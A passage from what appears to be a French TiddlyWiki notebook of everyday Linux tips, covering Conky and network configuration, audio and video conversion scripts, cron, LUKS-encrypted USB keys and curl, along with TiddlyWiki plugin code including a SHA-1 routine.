${alignr}$color ${top_mem name 2} ${top_mem pid 2} ${top_mem cpu 2} ${top_mem mem 2}
${alignr}$color ${top_mem name 3} ${top_mem pid 3} ${top_mem cpu 3} ${top_mem mem 3}

${alignr}${color orange}Open Port(s): ${color #ffcb48}${tcp_portmon 1 65535 count}
${alignr}${color white} ${tcp_portmon 1 65535 rhost 0} $alignr${tcp_portmon 1 65535 lservice 0}
${alignr}${tcp_portmon 1 65535 rhost 1} $alignr${tcp_portmon 1 65535 lservice 1}
${alignr}${tcp_portmon 1 65535 rhost 2} $alignr${tcp_portmon 1 65535 lservice 2}
${alignr}${tcp_portmon 1 65535 rhost 3} $alignr${tcp_portmon 1 65535 lservice 3}
${alignr}${tcp_portmon 1 65535 rhost 4} $alignr${tcp_portmon 1 65535 lservice 4}
${alignr}${tcp_portmon 1 65535 rhost 5} $alignr${tcp_portmon 1 65535 lservice 5}
${alignr}${tcp_portmon 1 65535 rhost 6} $alignr${tcp_portmon 1 65535 lservice 6}
${alignr}${tcp_portmon 1 65535 rhost 7} $alignr${tcp_portmon 1 65535 lservice 7}
${alignr}${tcp_portmon 1 65535 rhost 8} $alignr${tcp_portmon 1 65535 lservice 8}
${alignr}${tcp_portmon 1 65535 rhost 9} $alignr${tcp_portmon 1 65535 lservice 9}
${alignr}${tcp_portmon 1 65535 rhost 10} $alignr${tcp_portmon 1 65535 lservice 10}
}}}

* Pour afficher un flux RSS (utiliste le script ScriptParseurRSS)
{{{
# Conky sample configuration
#
# the list of variables has been removed from this file in favour
# of keeping the documentation more maintainable.
# Check http://conky.sf.net for an up-to-date-list.

# set to yes if you want Conky to be forked in the background
background no

# X font when Xft is disabled, you can pick one with program xfontsel
#font 5x7
#font 6x10
#font 7x13
#font 8x13
#font 9x15
#font *mintsmild.se*
#font -*-*-*-*-*-*-34-*-*-*-*-*-*-*


# Use Xft?
use_xft yes

# Set conky on the bottom of all other applications
on_bottom yes

# Xft font when Xft is enabled
xftfont Bitstream Vera Sans Mono:size=8

# Text alpha when using Xft
xftalpha 0.8

# Print everything to stdout?
# out_to_console no

# MPD host/port
# mpd_host localhost
# mpd_port 6600
# mpd_password tinker_bell

# Print everything to console?
# out_to_console no

# mail spool
mail_spool $MAIL

# Update interval in seconds
update_interval 10.0

# This is the number of times Conky will update before quitting.
# Set to zero to run forever.
total_run_times 0

# Create own window instead of using desktop (required in nautilus)
own_window no

# Use pseudo transparency with own_window?
own_window_transparent yes

# If own_window_transparent is set to no, you can set the background colour here
own_window_colour hotpink

# Use double buffering (reduces flicker, may not work for everyone)
double_buffer yes

# Minimum size of text area
minimum_size 280 5

# Draw shades?
draw_shades yes

# Draw outlines?
draw_outline no

# Draw borders around text
draw_borders no

# Stippled borders?
stippled_borders 8

# border margins
border_margin 4

# border width
border_width 1

# Default colors and also border colors
default_color white
default_shade_color black
default_outline_color black

# Text alignment, other possible values are commented
alignment top_left
#alignment top_right
#alignment bottom_left
#alignment bottom_right
#alignment none

# Gap between borders of screen and text
# same thing as passing -x at command line
gap_x 12
gap_y 12

# Subtract file system buffers from used memory?
no_buffers yes

# set to yes if you want all text to be in uppercase
uppercase no

# number of cpu samples to average
# set to 1 to disable averaging
cpu_avg_samples 2

# number of net samples to average
# set to 1 to disable averaging
net_avg_samples 2

# Force UTF8? note that UTF8 support required XFT
override_utf8_locale no


# Add spaces to keep things from moving about?  This only affects certain objects.
use_spacer no

#   mldonkey_hostname     Hostname for mldonkey stuff, defaults to localhost
#   mldonkey_port         Mldonkey port, 4001 default
#   mldonkey_login        Mldonkey login, default none
#   mldonkey_password     Mldonkey password, default none

# boinc (seti) dir
# seti_dir /opt/seti

# variable is given either in format $variable or in ${variable}. Latter
# allows characters right after the variable and must be used in network
# stuff because of an argument

# stuff after 'TEXT' will be formatted on screen
#${color} nuxo.net:
#${color #0680F2}${execi 300 ~/Scripts/nuxo-rss.sh}

TEXT
${color #ffcb48}planet.ubuntu-fr.org:
${color}${execi 300 ~/Scripts/planetubuntu-rss.sh}
}}}
Astuce: ''Configurer le réseau en ligne de commande ''
Mots clef: réseau
Os: Linux
<<<
*''Général''
Configurer l'adresse ip de l'interface réseau eth0:
{{{
# ifconfig eth0 192.168.0.254 netmask 255.255.255.0 up
}}}
Définir le routage au-travers de la passerelle 192.168.0.1:
{{{
# route add default gw 192.168.0.1 eth0 
}}}
Redémarrer le réseau:
{{{
# /etc/init.d/networking restart
}}}
*''Réseau sans fils''
Activer l'interface réseau sans fils:
{{{
# ifconfig wlan0 up
}}}
Scanner le réseau afin de trouver des points d'accès:
{{{
# iwlist wlan0 scanning
}}}
ou
{{{
# iwlist scan
}}}
Définir le point d'accès:
{{{
# iwconfig wlan0 essid ACCESSPOINT
}}}
Définir la clé de chiffrement (WEP ou WPA):
{{{
# iwconfig wlan0 key PASSPHRASE
}}}
''Notes: ''Voir aussi ReseauCommandesDeBase et ChangerSonAdresseMac.
Astuce: ''Résumé des données de connexion à l'opérateur Bluewin''
Mots clef: Internet, routeur, modem
Os: Tous
<<<
|Authentification|Protocole|Modulation|Encapsulation|
|CHAP|RFC 2364 ~PPPoverATM|Auto Sense|LLC/SNAP/|
Ce qui donne
|VPI/VCI|Category|Service Name|Interface Name|Protocol|Encapsulation|Igmp|State|
|8/35|UBR|pppoa_8_35|ppp41|~PPPoA|LLC/SNAP|Disabled|Enabled|

DNS primaire : 195.186.4.111
DNS secondaire : 195.186.4.110
Vous pouvez me contacter à l'adresse email

[<img[tux|email.png]]
Astuce: ''Controler le volume en console avec amixer''
Mots clef: son, contrôle
Os: Linux
<<<
* Volume
Pour augmenter le volume:
{{{
$ amixer sset PCM 2+
}}}
ou
{{{
$ amixer sset Master 2+
}}}
Pour diminuer le volume, simplement remplacer + par -
* Mute
{{{
$ amixer sset PCM toggle
}}}
''Nom de l'application'': ''@@color(red): Convmv @@''
Mots clef:  encodage, conversion, fichier
Liens: [[page man| http://linux.die.net/man/1/convmv ]]
<<<
''Description: ''Convmv permet de convertir des nom de fichier d'un format à un autre.

''Installation: ''[[via apt|apt://convmv]]

''Utilisation: ''si les noms des fichiers en utf-8 contiennent des é et à à la place des é et à:
{{{
$ convmv -f utf-8 -t latin1
}}}
Cette commande ne va pas effectuer le changement, mais seulement tester et afficher ce changement (très utile pour éviter les regrets). Pour effectuer le changement:
{{{
$ convmv -f utf-8 -t latin1 --notest 
}}}
Une utilsation avec la commande find:
{{{
$ find . -name *Ã* -exec convmv -f utf-8 -t latin1 --notest {} \;
}}}

''Notes: ''voir aussi le programme IConv, ReCode et YuDit.
Astuce: ''créer une image .iso du CD actuellement dans le lecteur''
Mots clef: utilitaire, cd
Os: Linux
Source: thanks mike
<<<
Ligne à excécuter où vous voulez enregistrer votre image .iso:
{{{
$ dd if=/dev/cdrom of=NOM_FICHIER.iso
}}}

''Note: ''voir aussi MonterISO et CreerGraverCDDVD.
Astuce: ''Convertir une image cd .nrg (format nero) en une image .iso''
Mots clef: image cd, nero, iso
Os:
Liens: [[source| http://www.ubuntugeek.com/howto-convert-a-nrg-nero-file-to-a-iso-file-in-ubuntu.html ]]
<<<
Il suffit d'installer l'utilitaire nrg2iso, {{{# aptitude install nrg2iso}}}, qui fera tout seul le travail:
{{{
$ nrg2iso image.nrg image.iso
}}}
Astuce: ''Convertir ces affreux petits .wma en de jolis .mp3 ou merveilleux .ogg ''
Mots clef: mp3, wma, ogg, audio
Os: Linux
Liens: [[source 1| http://gridpt1.fe.up.pt/mlopes/blog/index.php/2005/12/31/convert-wma-to-mp3ogg/ ]], [[source 2| http://taltan.free.fr/index/2006/06/27/27-conversion-de-fichiers-audio]]
<<<
Pour ce débarasser de ces vilains .wma:

''Convertion WMA -> mp3'':
{{{
$ for i in *.wma ; do mplayer -vo null -vc dummy -af resample=44100 -ao pcm:waveheader "$i" && lame -m j -h --vbr-new -b 160 audiodump.wav -o "`basename "$i" .wma`.mp3"; done; rm -f audiodump.wav
}}}

''Convertir WMA -> OGG'':
{{{
$ for i in *.wma ; do mplayer -vo null -vc dummy -af resample=44100 -ao pcm:waveheader "$i" && oggenc *.wav >/dev/null ; done; rm -f audiodump.wav
}}}

''Convertir OGG -> mp3'' (avec lame et vorbis-tools installés):
{{{
$ for i in *.ogg; do ogg123 -d wav -f - "$i" | lame -h - > "`echo "$i" | sed -e 's/.ogg$/.mp3/'`"; done
}}}

''Convertir mp3 -> OGG'':
On peut utiliser mp32ogg ({{{# aptitude install mp32ogg}}})
{{{
$ mp32ogg monmp3.mp3
}}}

''Convertir WAV -> mp3'' (avec lame):
{{{
$ for i in *.wav; do lame --abr 160 "$i" "$i.mp3" ; done
}}}

Il existe également des frontend graphiques permettant de réaliser ces opérations, par exemple GnormaliZe, SoundConverter ou XcFa.

NB: voir aussi les deux scripts ConvertWMA en bash et un script perl très efficace ConvertWMAPerl.
<<<
Astuce: ''Conversion de vidéo flash .flv en avi avec ffmpeg''
Mots clef: vidéo, ffmpeg
Os: Linux
Liens: [[source|http://recitmst.qc.ca/wikinimst/wakka.php?wiki=VideoSousLinux&show_comments=1]]
<<<
{{{
$ ffmpeg -i input.flv -s pal -r pal -aspect 4:3 -ar 48000 -ac 2 output.avi 
}}}
ou plus simplement:
{{{
$ ffmpeg -i input.flv output.avi     
}}}
Voir aussi le programme FlvGet, permettant un télechargement et une conversion directement à partir d'une url video.google ou youtube.
Egalement ScrConvertFLVtoAVI pour un script utilisant mencoder.
Astuce: ''Convertir des .wma en mp3 ou ogg''
Mots clef: audio, wma
Os:Linux
Liens: [[Source 3eme scrpt pti-seb | http://www.tux-planet.fr/blog/?2006/05/12/78-convert-wma-files-to-mp3-or-ogg-format]]
<<<
Voilà deux scriptes bash de conversion. (voir aussi, pour une méthode en une ligne: ConversionWMAmp3OGGwav et un script perl très efficace: ConvertWMAPerl.)

*de .wma à .ogg
{{{
#!/bin/bash

current_directory=$( pwd )

#remove spaces
for i in *.wma; do mv "$i" `echo $i | tr ' ' '_'`; done

#remove uppercase
for i in *.[Ww][Mm][Aa]; do mv "$i" `echo $i | tr '[A-Z]' '[a-z]'`; done

#Rip with Mplayer
for i in *.wma ; do mplayer -vo null -vc dummy -ao pcm:file=$i.wav $i; done

#Convert to OGG
oggenc *.wav;

# Delete WAV files
rm *.wav;
}}}

*de .wma à .mp3
{{{
#!/bin/bash

for i in *.wma
do
	filename=`basename "$i" .wma`
	
	#Rip with Mplayer / encode with LAME
	echo "Ripping $i"
	mplayer -quiet -vo null -vc dummy -af volume=0,resample=44100:0:1 -ao pcm:waveheader "$i" 
	echo "Encoding $i to "$filename".mp3"
	lame -quiet -m s audiodump.wav -o "$filename".mp3

	rm audiodump.wav
done
}}}

*de .wma à .ogg ou .mp3
utilisation: {{{convert_wma ogg}}} ou {{{convert_wma mp3}}}
{{{
#!/bin/bash
#-----------------------------------------------------------------------#
#                                                                       #
# Description : Convert wma to mp3 or ogg                               #
# OS          : Linux                                                   #
# Requires    : mplayer - lame - oggenc - wma and mp3 codec             #
# Licence     : GPL                                                     #
# Version     : 0.1.1                                                   #
# Author      : Sebastien Bilbeau <sebastien.bilbeau@gmail.com>         #
# Web site    : http://www.tux-planet.fr                                #
#                                                                       #
#-----------------------------------------------------------------------#

# First past : clean up file name (remove space + lowercase)
for i in *.[Ww][Mm][Aa]; do

  # Remove spaces
  mv "$i" `echo $i | tr ' ' '_'`;

  # Remove uppercase
  mv "$i" `echo $i | tr '[A-Z]' '[a-z]'`;

done

# Seconde past : rip with Mplayer -> Encode with LAME -> Set file right access -> Change name
for i in *.wma ; do 

  # Convert in ogg format
  if [ $1 == "ogg" ]; then

    mplayer -vo null -vc dummy -af resample=44100 -ao pcm:waveheader $i && oggenc -m 256 audiodump.wav && mv audiodump.ogg "`basename "$i" .wma`.ogg" && chmod 755 "`basename "$i" .wma`.ogg";

  else

    # Convert in mp3 format
    if [ $1 == "mp3" ]; then

      mplayer -vo null -vc dummy -af resample=44100 -ao pcm:waveheader $i && lame -m s audiodump.wav -o $i.mp3 && chmod 755 $i.mp3 && mv $i.mp3 "`basename "$i" .wma`.mp3";

    fi
  fi
done

# Clean directory
rm -i *.wma
rm -f audiodump.wav
}}}
<<<
But: ''Rechercher et convertir tous les fichier .wma d'un répertoir (et des sous-répertoirs) en .mp3''
Mots clef: audio, perl, wma, mp3
Liens: [[source|http://scripts.trustonme.net/script-read-55.html ]]
<<<
''Notes: ''Nécessite perl, lame et mplayer
voir aussi, pour une méthode en une ligne: ConversionWMAmp3OGGwav et deux script bash: ConvertWMA.

''Utilisation: ''{{{$ ./wma2mp3.pl /répertoire}}}

''Script: '' 
{{{
#! /usr/bin/perl -w

use Term::ANSIColor qw(:constants);

# Test de la bonne invocation du script
if ($#ARGV != 0 || ! -d "$ARGV[0]") {
	print "INFO:\n";
	print "Convertir des .wma en .mp3 contenu dans le repertoire et sous-repertoires passes en argument \n\n";
	print "USAGE:\n$0 repertoire \n\n";
	exit(-1);
}

# Fonction pour convertir les wma en mp3
sub convert 
{
	my $file="$_[0]";
	my $base="$file";
	$base=~s/\.wma//i;
	
	print BOLD, YELLOW "Convertion en WAV...\n", RESET;
	system "mplayer \"${file}\" -ao pcm -ao pcm:file=tmp.wav > /dev/null 2>&1";
	
	print BOLD, YELLOW "Convertion en MP3...\n", RESET;
	system "lame -h tmp.wav \"${base}.mp3\" > /dev/null 2>&1";
	
	print BOLD, RED "*Suppression de ${base}.wav*\n", RESET;
	unlink("tmp.wav");
	
	print BOLD, RED "*Suppression de ${base}.wma*\n", RESET;
	unlink("${base}.wma");
	
	print BOLD, GREEN "$base.wma converti en mp3\n\n", RESET;
}

# Trouve les fichiers .wma
# et les convertis

sub find_conv
{
	my $rep="$_[0]";
	opendir (REP, "$rep") or die "Impossible d'ouvrir le repertoire";
	local @list=readdir (REP);
	closedir (REP);
	
	foreach my $fic (@list) {
		if (( $fic ne ".") && ($fic ne ".." )) {
			if ( -d "$rep/$fic" ) {
				find_conv ("$rep/$fic");
			}	
			elsif ($fic =~ /\.wma$/i) {
				convert ("$rep/$fic");
			}
		}
	}
}

# Invocation de find_conv sur le
# repertoire passe en argument
find_conv ("$ARGV[0]");

exit 0;
}}}

 
Astuce: ''Convertir des images en format pdf''
Mots clef: graphisme, bureautique, édition pdf
Os: Linux
Liens: [[source| http://www.aide-ubuntu.com/Convertir-une-serie-d-images-JPEG,33 ]]
<<<
Nécessite d'installer les paquets ImageMagick et {{{gs}}}.
Ensuite:
* Se placer dans le dossier contenant toutes les images
* Convertir les images en pdf avec la commande:
{{{
$ convert *.jpg fichier_destination.pdf
}}}
Et voilà!
Astuce: ''Copier tous les fichiers .xyz d'un répertoire''
Mots clef: copie
Os: Linux
<<<
{{{$ find /home/musique -name '*.mp3' -exec cp {} /mnt/chansons \;}}}
<<<
''Nom de l'application'': ''@@color(red): Cowsay @@''
Mots clef: ascii, scripts, image, signatures
<<<
''Description: ''Une vache affiche votre message.

''Installation: ''{{{# aptitude install cowsay}}}

''Utilisation: ''
{{{$ cowsay  T\'as rien d\'autre à faire ?}}}
ce qui donne:
<html>
<pre>
 __________________________
< T'as rien d'autre à faire ? >
 --------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
</pre>
</html>
{{{$ cowsay $(uname -a)}}}
cd qui donne:
<html>
<pre>
 ______________________________________
/ Linux black 2.6.17-11-generic #2 SMP \
| Tue Mar 13 23:32:38 UTC 2007 i686    |
\ GNU/Linux                            /
 --------------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
</pre>
</html>

Le dossier ///usr/share/cowsay/cows/// contient une liste des fichiers .cow permettant d'utiliser une autre image:
{{{$ cowsay -f tux.cow In Tux We Trust}}}
<html>
<pre>
 _________________
< In Tux We Trust >
 -----------------
   \
    \
        .--.
       |o_o |
       |:_/ |
      //   \ \
     (|     | )
    /'\_   _/`\
    \___)=(___/
</pre>
</html>
Bien sûr on peut également créer ses propres fichiers.cow.

Pour quelque chose de plus "sérieux", voir BoXes et ASCIIVideoEtImage
Astuce: ''Créer et graver un cd ou dvd à partir d'un répertoire en ligne de commande''
Mots clef: iso, cd
Os: Linux
<<<
Créer un fichier .iso à partir d'un dossier (ou un fichier):
{{{
$ mkisofs –r –o monFichier.iso nomDuDossier
}}}
Graver le fichier .iso sur un CD/DVD
{{{
$ cdrecord --device=cdwriter-device -tao -eject monFichier.iso
}}}

''Note: ''voir aussi MonterISO et ConversionCDRomIso.
''Nom de l'application'': ''@@color(red): Cron @@''
Mots clef: utilitaire
Liens: [[source 1| http://doc.ubuntu-fr.org/cron ]], [[source 2| http://merzhin.serveftp.org/blog/index.php?2007/01/12/86-le-cron-pour-les-nul ]]
<<<
''Description: ''Cron est un daemon permettant de programmer des tâches devant être exécutées à un moment précis ou de manière périodique. (voir aussi anacron).

''Installation: ''Déjà installé en général.

''Edition: ''Chaque utilisateur a un fichier crontab, lui permettant d'indiquer les actions et leur péroidicité d'exécution. Il y a également une crontab pour le système.
Pour éditer crontab en tant que simple utilisateur:
{{{
$ crontab -e
}}}
Pour avoir le choix de l'éditeur
{{{
$ EDITOR=nano crontab -e
}}}
Pour éditer le crontab root (par exemple pour un script nécessitant des droits privilégiés
{{{
$ EDITOR=nano sudo crontab -e
}}}
L"éditeur utilisé pour modifier la crontab peut être modifié par la commande:
{{{
$ sudo update-alternatives --config editor
}}}
Quand vous sortez de l"éditeur, le nouveau fichier crontab sera installé. Le fichier est stocké dans ///var/spool/cron/crontabs/<user>// mais doit seulement être édité par l"intermédiaire de la commande crontab. Il est également possible d'éditer le crontab système directement le fichier ///etc/crontab//
Crontab permet plusieurs options: //-e pour édition, -u pour l'utilisateur, -l pour lister le fichier et -r pour l'effacer//.

''Configuration: ''Les lignes suivantes présentent quelques exemples d'utilisation (de ligne à ajouter dans le fichier crontab)
Une ligne doit avoir la forme suivante:
{{{m h jdm mois jds commande}}}
Où m=minutes, h=heure, jdm=jour du mois, mois=mois, jds=jour de la semaine suivis de la commande à exécuter.

Pour lancer une update du système à 3h 5mn chaque jour:
{{{5 3  * *  * /usr/bin/apt-get update}}}

Vous pouvez faire tourner cron toutes les 5 minutes tout au long de la journée de travail (9am-5pm) avec un message:
{{{*/5 9-17  * * mon,tue,wed,thu,fri wall "Où en es tu ?"}}}

Vous rappelez un anniversaire à 9h du matin le 10 janvier chaque année:
{{{0 9 10 jan  * echo "C'est l'anniversaire de ta Maman aujoud'hui !" >>~/readme}}}

Pour effectuer une tache chaque 10 et 20 de chaque mois à 3h00:
{{{0 3 10-2 * * /home/username/foobar}}}

Chaque mardi et jeudi à 3:00:
{{{0 3 * * 2,4 /home/username/foobar}}}

Toutes les 5 minutes pendant l'heure de midi
{{{*/5 12 * * * /ma/commande lancera ma commande}}}

Tous les soir de la semaine à minuit:
{{{0 0 * * mon,tue,wed,thu,fri /mon/script/de/backup}}}

Il existe également une autre syntax permettant de faire certaines choses supplémentaires. Elle commence toutes par un "@":
{{{@reboot}}} Lance la commande au démarrage de la machine
{{{@yearly}}} Lance la commande une fois par ans (correspond à "0 0 1 1 *")
{{{@annually}}} pareil que @yearly
{{{@monthly}}} Lance la commande une fois par mois (correspond à "0 0 1 * *")
{{{@weekly}}} Lance la commande une fois par semaines (correspond à "0 0 * * 0")
{{{@daily}}} Lance la commande une fois par jour (correspond à "0 0 * * *")
{{{@midnight}}} pareil que @daily
{{{@hourly}}} Lance la commande une fois par heure (correspond à "0 * * * *")
Nous voyons ici qu'avec cette syntax, un utilisateur à la possibilité de lancer un script à chaque démarrage sans avoir les droits root ou sans devoir toucher aux scripts d'init.
<<<
Astuce: ''crypter une clef usb à l'aide de DmCrypt (voir aussi FuseEncfs)''
Mots clef: sécurité, cryptage
Os: (K)Ubuntu
Liens: [[source|http://www.emcken.dk/weblog/archives/164-Encrypted-USB-drive-in-Ubuntu.html ]]

Il s'agit ici de la traduction de l'article original.
<<<
   1. Tout d'abord installer cryptsetup si ce n'est pas encore fait
{{{# sudo apt-get install cryptsetup}}}

   2. S'assurer que le disque usb n'est PAS monté. Ensuite partitionner le disque s'il ne l'est pas encore. Toujours ne pas monter le disque.

   3. Si vous n'avez pas encore redémarré la machine depuis l'installation de cryptsetup, alors il faudra peut-être charger le module manuellement:
{{{# modprobe dm-crypt}}}

   4. Chiffrement de la partition:
{{{# cryptsetup --verbose --verify-passphrase luksFormat /dev/sda1}}}
{{{
      WARNING!
      ========
      This will overwrite data on /dev/sda1 irrevocably.
      Are you sure? (Type uppercase yes): YES
      Enter LUKS passphrase: 
      Verify passphrase: 
      Command successful.
}}}
Si vous avez l'erreur suivante:
{{{
      Failed to setup dm-crypt key mapping.
      Check kernel for support for the aes-cbc-essiv:sha256 cipher spec and verify that /dev/sda1 contains at least 133 sectors.
}}}
Vérifier que le disque n'est PAS monté. Assurez-vous également que vous indiquez bien le bon device. Vous pouvez utiliser dmesg pour vérifier si le disque à reçu une assignation. Vérifier également que le module dm-crypt a bien été chargé 
{{{$ lsmod | grep dm}}}

   5. Monter la partition chiffrée
{{{# cryptsetup luksOpen /dev/sda1 sda1}}}
{{{
      Enter LUKS passphrase:
      key slot 0 unlocked
      Command successful.
}}}

   6. Créer le système de fichier sur le disque crypté:
{{{# mkfs.ext3 /dev/mapper/sda1}}}

   7. Refermer le device temporaire 
{{{# cryptsetup luksClose sda1}}}

   8. Maintenant débrancher puis rebrancher le disque usb.
Une fenêtre devrait apparaître demandant le mot de passe.
/***
|''Name:''|CryptoFunctionsPlugin|
|''Description:''|Support for cryptographic functions|
***/
//{{{
if(!version.extensions.CryptoFunctionsPlugin) {
version.extensions.CryptoFunctionsPlugin = {installed:true};

//--
//-- Crypto functions and associated conversion routines
//--

// Crypto "namespace"
function Crypto() {}

// Convert a string to an array of big-endian 32-bit words
Crypto.strToBe32s = function(str)
{
	var be = Array();
	var len = Math.floor(str.length/4);
	var i, j;
	for(i=0, j=0; i<len; i++, j+=4) {
		be[i] = ((str.charCodeAt(j)&0xff) << 24)|((str.charCodeAt(j+1)&0xff) << 16)|((str.charCodeAt(j+2)&0xff) << 8)|(str.charCodeAt(j+3)&0xff);
	}
	while (j<str.length) {
		be[j>>2] |= (str.charCodeAt(j)&0xff)<<(24-(j*8)%32);
		j++;
	}
	return be;
};

// Convert an array of big-endian 32-bit words to a string
Crypto.be32sToStr = function(be)
{
	var str = "";
	for(var i=0;i<be.length*32;i+=8)
		str += String.fromCharCode((be[i>>5]>>>(24-i%32)) & 0xff);
	return str;
};

// Convert an array of big-endian 32-bit words to a hex string
Crypto.be32sToHex = function(be)
{
	var hex = "0123456789ABCDEF";
	var str = "";
	for(var i=0;i<be.length*4;i++)
		str += hex.charAt((be[i>>2]>>((3-i%4)*8+4))&0xF) + hex.charAt((be[i>>2]>>((3-i%4)*8))&0xF);
	return str;
};

// Return, in hex, the SHA-1 hash of a string
Crypto.hexSha1Str = function(str)
{
	return Crypto.be32sToHex(Crypto.sha1Str(str));
};

// Return the SHA-1 hash of a string
Crypto.sha1Str = function(str)
{
	return Crypto.sha1(Crypto.strToBe32s(str),str.length);
};

// Calculate the SHA-1 hash of an array of blen bytes of big-endian 32-bit words
Crypto.sha1 = function(x,blen)
{
	// Add 32-bit integers, wrapping at 32 bits
	add32 = function(a,b)
	{
		var lsw = (a&0xFFFF)+(b&0xFFFF);
		var msw = (a>>16)+(b>>16)+(lsw>>16);
		return (msw<<16)|(lsw&0xFFFF);
	};
	// Add five 32-bit integers, wrapping at 32 bits
	add32x5 = function(a,b,c,d,e)
	{
		var lsw = (a&0xFFFF)+(b&0xFFFF)+(c&0xFFFF)+(d&0xFFFF)+(e&0xFFFF);
		var msw = (a>>16)+(b>>16)+(c>>16)+(d>>16)+(e>>16)+(lsw>>16);
		return (msw<<16)|(lsw&0xFFFF);
	};
	// Bitwise rotate left a 32-bit integer by 1 bit
	rol32 = function(n)
	{
		return (n>>>31)|(n<<1);
	};

	var len = blen*8;
	// Append padding so length in bits is 448 mod 512
	x[len>>5] |= 0x80 << (24-len%32);
	// Append length
	x[((len+64>>9)<<4)+15] = len;
	var w = Array(80);

	var k1 = 0x5A827999;
	var k2 = 0x6ED9EBA1;
	var k3 = 0x8F1BBCDC;
	var k4 = 0xCA62C1D6;

	var h0 = 0x67452301;
	var h1 = 0xEFCDAB89;
	var h2 = 0x98BADCFE;
	var h3 = 0x10325476;
	var h4 = 0xC3D2E1F0;

	for(var i=0;i<x.length;i+=16) {
		var j,t;
		var a = h0;
		var b = h1;
		var c = h2;
		var d = h3;
		var e = h4;
		for(j = 0;j<16;j++) {
			w[j] = x[i+j];
			t = add32x5(e,(a>>>27)|(a<<5),d^(b&(c^d)),w[j],k1);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=16;j<20;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),d^(b&(c^d)),w[j],k1);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=20;j<40;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),b^c^d,w[j],k2);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=40;j<60;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),(b&c)|(d&(b|c)),w[j],k3);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=60;j<80;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),b^c^d,w[j],k4);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}

		h0 = add32(h0,a);
		h1 = add32(h1,b);
		h2 = add32(h2,c);
		h3 = add32(h3,d);
		h4 = add32(h4,e);
	}
	return Array(h0,h1,h2,h3,h4);
};


}
//}}}
''Nom de l'application'': ''@@color(red): Curl @@''
Mots clef: utilitaire réseau
Liens: [[ explications complètes| http://www.samhart.com/cgi-bin/classnotes/wiki.pl?UNIX01/Wget_And_Curl ]]
<<<
''Description: ''Utilitaire permettant le télechargement en ligne de commande.

''Installation: ''{{{apt-get install curl}}}

''Notes: ''Curl est en quelque sorte le successeur spirituel de WGet. Il possède des fonction supplémentaires. Alors que wget permet de télecharger des fichiers au travers des protocoles HTTP, HTTPS ou FTP, curl permet d'obtenir des fichiers de pratiquement toutes les infrastructures (HTTP, HTTPS, FTP, GOPHER, DICT, TELNET, LDAP). Curl offre également une grande quantité d'options (permet l'upload, authentication, proxies, kerberos, HTTP PUT et POST, and gestion des cookies).

Utilisation de curl: 
{{{$ curl http://www.foo.com/temp/nano.tar.gz}}} 
ou pour des fichiers multiples 
{{{$ curl http://site.{one,two,three}.com}}}
<<<
''Nom de l'application'': ''@@color(red): Ktouch, Gtypist, Tuxtype, Klavaro @@''
Mots clef: dactylo
<<<
''Description: ''Voilà 4 logiciels d'apprentissage dactylographique.

''Installation: ''{{{apt-get install ktouch gtypist tuxtype}}}, pour les trois premiers. Pour Klavaro, un fichier .deb est disponible sur le [[site officiel|http://klavaro.sourceforge.net]]

''Notes: ''
#''Ktouch:'' un logiciel d'apprentissage possédant une interface graphique mettant en évidence les touches à utiliser ainsi que leur position. L'enseignement se fait par //training// à charger.
#''Gtypist:'' un logiciel efficace en ligne de commande indiquant vitesse de frappe et pourcentage d'erreur. Permet également l'entraînement pour claviers dvorak.
#''Tuxtype:'' un didacticel sous forme de jeux où un pingouin doit avaler les poissons-lettres  qui forment des mots à composer. 
#''Klavaro:'' Un logiciel complet avec configuration du clavier virtuel paramétrable. Agréable à utiliser.
<<<
Astuce: ''Remplacer les polices de base de ubuntu dapper par des polices windows, en particulier pour firefox''
Mots clef: polices, kde
Os: (K)ubuntu dapper
Liens: [[source|http://www.ubuntuforums.org/showthread.php?t=208396]]
<<<
* Tout d'abord installer les fontes crosoft:
{{{
$ sudo apt-get install msttcorefonts
}}}
* Ensuite télécharger [[ce paquet|http://www.auriance.com/docs/fonts/fontconfig.tbz]] et le décompresser dans le répertoire ///etc/fonts// grâce à cette commande:
{{{
$ sudo tar xvjpf fontconfig.tbz -C /etc/fonts/
}}}
redémarrer kde... et voilà.
<<<
CarnetDeBord
/***
|''Name:''|DeprecatedFunctionsPlugin|
|''Description:''|Support for deprecated functions removed from core|
***/
//{{{
if(!version.extensions.DeprecatedFunctionsPlugin) {
version.extensions.DeprecatedFunctionsPlugin = {installed:true};

//--
//-- Deprecated code
//--

// @Deprecated: Use createElementAndWikify and this.termRegExp instead
config.formatterHelpers.charFormatHelper = function(w)
{
	w.subWikify(createTiddlyElement(w.output,this.element),this.terminator);
};

// @Deprecated: Use enclosedTextHelper and this.lookaheadRegExp instead
config.formatterHelpers.monospacedByLineHelper = function(w)
{
	var lookaheadRegExp = new RegExp(this.lookahead,"mg");
	lookaheadRegExp.lastIndex = w.matchStart;
	var lookaheadMatch = lookaheadRegExp.exec(w.source);
	if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
		var text = lookaheadMatch[1];
		if(config.browser.isIE)
			text = text.replace(/\n/g,"\r");
		createTiddlyElement(w.output,"pre",null,null,text);
		w.nextMatch = lookaheadRegExp.lastIndex;
	}
};

// @Deprecated: Use <br> or <br /> instead of <<br>>
config.macros.br = {};
config.macros.br.handler = function(place)
{
	createTiddlyElement(place,"br");
};

// Find an entry in an array. Returns the array index or null
// @Deprecated: Use indexOf instead
Array.prototype.find = function(item)
{
	var i = this.indexOf(item);
	return i == -1 ? null : i;
};

// Load a tiddler from an HTML DIV. The caller should make sure to later call Tiddler.changed()
